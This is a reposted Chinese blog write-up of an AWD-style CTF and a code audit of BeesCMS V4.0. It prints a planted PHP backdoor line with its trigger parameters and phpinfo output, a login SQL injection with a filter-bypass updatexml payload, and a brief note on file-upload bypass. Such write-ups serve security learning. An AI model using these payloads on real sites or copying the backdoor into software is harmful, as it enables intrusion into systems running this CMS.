

某团队线下赛AWD writeup&Beescms_V4.0代码审计

转载

[weixin_30302609](#) 于 2018-09-04 00:31:00 发布 305 收藏 1

文章标签: [php](#) [python](#)

原文链接: <http://www.cnblogs.com/null/p/9582027.html>

版权

还是跟上篇一样。拿别人比赛的来玩一下。

0x01 预留后门

```
1 <?php
2 /**
3  * $Author: BEESCMS $
4  * =====
5  * 网站地址: http://www.beescms.com
6  * 您只能在不用于商业目的的前提下对程序代码进行修改和使用;
7  * 不允许对程序代码以任何形式任何目的的再发布。
8  * =====
9  */
10
11 //if(!file_exists("../data/install.lock")||!file_exists("../data/
12 confing.php")){header("location:../install/index.php");exit();}
13 define('CMS',true);
14 require_once('../includes/init.php');
15 require_once('../includes/fun.php');
16 require_once('../includes/lib.php');
17 $lang=isset($_REQUEST['lang'])?htmlspecialchars($_REQUEST['lang']):
18 get_main_lang();@$_POST['lang']($_GET[0]);
19 if(file_exists(LANG_PATH.$lang.'.php')){include(LANG_PATH.$lang.'.php');}
20 //语言包缓存,数组$language
21 if(file_exists(DATA_PATH.$cate_list['.$lang.'.php'])){include(DATA_PATH
22 cache_cate/$cate_list['.$lang.'.php']);}
23 //当前语言下的栏目
24 $confing=get_confing($lang);
25 $tpl->template_dir=(IS_MB)?TP_PATH.$confing['phone_template'].'/:TP_PATH.$_cont
```

连接方式:

连接方式:

浏览器地址: 127.0.0.1/t.php?1=phpinfo();

PHP Version 5.6.26-1

System Linux i3ekr 4.15.0-29deepin-generic #31 SMP Fri J

Post Data: lang=assert

0x02 后台登录口SQL注入

admin/login.php

```
40 elseif($action=='ck_login'){
41     global $submit,$user,$password,$_sys,$code;
42     $submit=$_POST['submit'];
43     $user=fl_html(fl_value($_POST['user']));
44     $password=fl_html(fl_value($_POST['password']));
45     $code=$_POST['code'];
46     if(!isset($submit)){
47         msg('请从登陆页面进入');
48     }
49     if(empty($user)||empty($password)){
50         msg("密码或用户名不能为空");
51     }
52     if(!empty($_sys['safe_open'])){
53         foreach($_sys['safe_open'] as $k=>$v){
54             if($v=='3'){
55                 if($code!=$s_code){msg("验证码不正确!");}
56             }
57         }
58     }
59     check_login($user,$password);
60 }
61 }
```

在func.php当中找到定义的check_login函数

```
970 function check_login($user,$password){
971     $rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name='".$user."' limit 0,1");
972     $rel=empty($rel)?':':$rel[0];
973     if(empty($rel)){
974         msg('不存在该管理用户','login.php');
975     }
976     $password=md5($password);
977     if($password!=$rel['admin_password']){
978         msg("输入的密码不正确");
979     }
980 }
```

很明显看到没有过滤直接带入。

```
include('template/admin_login.php');
//判断登录
elseif($action=='ck_login'){
    global $submit,$user,$password,$_sys,$code;
    $submit=$_POST['submit'];
    $user=fl_html(fl_value($_POST['user']));
    $password=fl_html(fl_value($_POST['password']));
    $code=$_POST['code'];
    if(!isset($submit)){
        msg('请从登陆页面进入');
    }
    if(empty($user)||empty($password)){
        msg("密码或用户名不能为空");
    }
    if(!empty($_sys['safe_open'])){
        foreach($_sys['safe_open'] as $k=>$v){
            if($v=='3'){
                if($code!=$s_code){msg("验证码不正确!");}
            }
        }
    }
    check_login($user,$password);
}

1754 function fl_value($str){
1755     if(empty($str)){return;}
1756     return preg_replace('/select|insert | update
1757         | and | in | on | left | joins | delete
1758         |%|\=|\\/\*\*|\.\.\.\.\/|\.\.\/| union | from
1759         | where | group | into |load_file
1760         |outfile/i','', $str);
1761 }
1762 define('INC_BEES','B'. 'EE'. 'SCMS');
1763 function fl_html($str){
1764     return htmlspecialchars($str);
1765 }
1766 /*获取栏目信息
1767 *$cate-栏目ID
```

如右侧的可以看出只是进行了简单的替换为null。所以直接重写即可bypass payload如下：

id?=1 a and nd updatexml(1,concat(1,(selselectect user()),1),1)

0x03 任意文件上传

据说比赛当中是弱口令，所以可以批量的，直接修改文件头即可bypass。

说到这里我要练习一下python文件上传怎么写了，没写过。

转载于:<https://www.cnblogs.com/nul1/p/9582027.html>